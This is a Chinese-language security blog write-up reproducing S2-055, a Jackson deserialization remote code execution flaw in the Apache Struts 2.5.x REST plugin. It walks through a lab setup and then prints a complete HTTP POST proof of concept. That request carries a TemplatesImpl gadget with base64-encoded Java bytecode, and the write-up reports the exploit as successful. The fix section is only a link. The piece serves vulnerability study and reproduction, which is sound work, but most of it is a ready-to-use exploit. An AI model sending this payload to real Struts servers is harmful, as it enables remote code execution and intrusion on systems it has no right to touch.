漏洞详情
https://secfree.com/article-587.html
概述
在今年4月17日的时候出过一个Jackson反序列化,貌似没有CVE编号,CNVD也只是安全公告CNTA-2017-0030 http://www.cnvd.org.cn/webinfo/show/4111,我在看雪论坛上当时找到一个Poc,但是经过测试,Poc存在很大的问题,不完整。
我和我的同事ahmatjan完成了这个Poc的构造。
同今年的12月1日被爆Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞。
参考了廖师傅的https://paper.seebug.org/473/这篇文章,和团队的Hucheat同学交流以后,参考了在看雪找到的的Poc代码,做的复现,也才有了这篇文章。
漏洞利用
漏洞环境:https://github.com/shengqi158/S2-055-PoC(基于rest-show-case改造的S2-055-PoC)
首先经过maven编译并导出war包,在tomcat下完成部署。
ExploitCommand.java类中输入command,并进行javac ExploitCommand.java编译,警告直接忽略。
构造Payload。
访问http://192.168.1.170:8080/struts2-rest-showcase/orders,并使用BurpSuite拦截一个请求包。
将ContentType设置为application/json,这样请求才会丢给Jackson处理,再复制Payload到BurpSuite中。
Poc:
POST /struts2-rest-showcase/orders HTTP/1.1 Host: 192.168.1.170:8080 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Content-Type: application/json Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=4F7AC2E1E05CAC59327C0593B4EFB9D5 If-None-Match: 1 Connection: close {"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADMAXwoAFwAtCgAuAC8IADAKAC4AMQcAMgcAMwoANAA1CgAGADYKAAUANwcAOAoACgAtCgAFADkKAAoAOggAOwoACgA8CQA9AD4KAD8AQAgAQQcAQgoAEwBDBwBECgAVAC0HAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGlu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AAAGAAEAAAAoACMAAAAEAAEAKQABACcAKgACABoAAAAZAAAABAAAAAGxAAAAAQAbAAAABgABAAAALgAjAAAABAABACkAAQArAAAAAgAs"],"transletName":"p","outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}]}
利用成功
修复方案
https://secfree.com/article-587.html
参考
https://paper.seebug.org/473/